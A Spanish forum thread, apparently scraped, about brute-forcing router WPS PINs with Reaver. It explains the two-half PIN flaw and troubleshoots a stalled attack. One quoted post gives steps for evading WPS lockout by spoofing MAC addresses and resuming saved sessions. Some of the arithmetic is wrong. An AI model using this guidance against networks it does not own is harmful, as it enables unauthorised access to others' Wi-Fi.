10·(102) = 1000 posibilidades
En total suman 11000 PIN diferentes. Hemos descartado 99989000 PIN de un plumazo. Glorioso.
Basándose en esto No tienes permitido ver los links. Registrarse o Entrar a mi cuentaescribió Reaver. Una herramienta que realiza ataques de fuerza bruta contra WPS siguiendo este método.
La herramienta, una vez en manos de la comunidad, fue creciendo y desarrollándose, encontrándose ahora en su No tienes permitido ver los links. Registrarse o Entrar a mi cuenta para incluir funciones útiles para los ataques PixieDust.
Algunos routers envían siempre M5, independientemente de si es correcto o no. Si es así nos está rompiendo el esquema del ataque y, por darle un veredicto rápido, reaver no nos sirve para la tarea porque no nos adelanta nada de trabajo, tendremos que probar los 1000000000 códigos distintos (Una locura si aún por encima tiene un timer para evitar la fuerza bruta).
Tal vez el router tarde menos en enviar el M5 si la primera parte es correcta. Tal vez no, y sea un router bastante seguro. Ahí ya tienes que ponerte el fedora negro y empezar a jugar.
Podría vivir perfectamente con una mancha de pis en la alfombra, pero qué va, tío: Más complicaciones.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Cuando se me presenta el siguiente dilema se queda probando todos los pin y después de 5 días quedó en 90.9% . Me baje de versión reaver 1.3 para usar el comprobador de checksum y nada vuelvo a quedar en ese famoso bucle de 90.91%.
En primer lugar perdón por tardar. Estuve ausente muchísimo tiempo, pero sí que me parece que ésto merece una respuesta.
Sobre todo nos ayudaría el parámetro -vv (very verbose) para saber qué está pasando.
¿El progreso sube rápidamente de 0.00% a 90.9%? Puede ser debido a que nos rompe el esquema. Recapitulemos:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Para entender cómo funciona el proceso leemos el paper de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (LECTURA OBLIGATORIA RECOMENDADA). Otra lectura muy interesante para entender el mecanismo de WPS es la explicación que dan en el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

En el paper, que sólo son 9 páginas con muchísimas tablas (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta), se puede ver que el PIN en realidad no es un PIN de 8 dígitos, sino que consta de 2 partes:

       
  • Primera parte del PIN (4 primeros dígitos)
  • Segunda parte del PIN (3 siguientes dígitos + suma de verificación (Checksum))
Esta mala implementación hace que en vez de enfrentarnos a un PIN de 8 dígitos nos enfrentamos a uno de 4 y uno de 3. Todo ésto es muy importante ya que desmonta completamente las matemáticas del sistema de seguridad. Hagamos los números:

Si contamos con un sistema de 10 dígitos (0-9) las diferentes posibilidades se elevan exponencialmente al número de dígitos. Ésto nos pone, en caso de tener un PIN de 8 dígitos, en:
10·(107) = 100000000 posibilidades
Haría falta tanto tiempo para conseguir el PIN que el ataque podría tardar varios años. Inviable.
Pero si tenemos un PIN de 4 dígitos y otro de 3 la cosa cambia mucho:
10·(103) = 10000 posibilidades
10·(102) = 1000 posibilidades
En total suman 11000 PIN diferentes. Hemos descartado 99989000 PIN de un plumazo. Glorioso.
Basándose en esto No tienes permitido ver los links. Registrarse o Entrar a mi cuentaescribió Reaver. Una herramienta que realiza ataques de fuerza bruta contra WPS siguiendo este método.
La herramienta, una vez en manos de la comunidad, fue creciendo y desarrollándose, encontrándose ahora en su No tienes permitido ver los links. Registrarse o Entrar a mi cuenta para incluir funciones útiles para los ataques PixieDust.
Algunos routers envían siempre M5, independientemente de si es correcto o no. Si es así nos está rompiendo el esquema del ataque y, por darle un veredicto rápido, reaver no nos sirve para la tarea porque no nos adelanta nada de trabajo, tendremos que probar los 1000000000 códigos distintos (Una locura si aún por encima tiene un timer para evitar la fuerza bruta).
Tal vez el router tarde menos en enviar el M5 si la primera parte es correcta. Tal vez no, y sea un router bastante seguro. Ahí ya tienes que ponerte el fedora negro y empezar a jugar.


Amigo muchas gracias por responder. Mi problemas es su inyecta los 10000 pin pero nunca pasó al M5. Espero su respuesta y o agradezco por su voluntad.

Cita de: Cl0udswX
1.- Ataque normal sin modificar los temporizadores
2.- Al recibir el warning de que el AP ha bloqueado WPS guardar la sesion.
3.- Modificar la dirección MAC y cargar la sesión previamente guardada.
4.- Continuar con el ataque hasta conseguir que la primera parte del PIN deje de recibir ACK negativos.

Ésto realmente funciona?
Entonces se podría hace que la herramienta pruebe con diferentes MAC's, ya sean reales o no. Hasta sería interesante, pero no cargando una sesión suspendida, si no dividiéndose el trabajo para probar algunos PIN's con una MAC y otros con otra MAC.
"Eso es lo bueno de internet. De que sirve internet si chateas con tus vecinos??? para eso te sacas unas sillas al fresco y hablais y jugais a las cartas". @windux

Este ataque siempre me gustó, pero no tengo la paciencia para llevarlo a cabo, sin embargo siempre antes de usar pixiedust, pruebo el reaver clásico, sin el parámetro -K. Hice pruebas con mi portátil y como tengo la integrada pci y una usb tplink, hago dos sesiones al mismo tiempo, más no sé qué efectividad tendría o si serviría de algo, eso y leyendo los comentarios y tu post, pensaría que si fuese efectivo, se usan las dos sesiones al tiempo, son dos tarjetas en modo monitor distintas y se le pondría el timing para 15 segundos para evitar el bloqueo.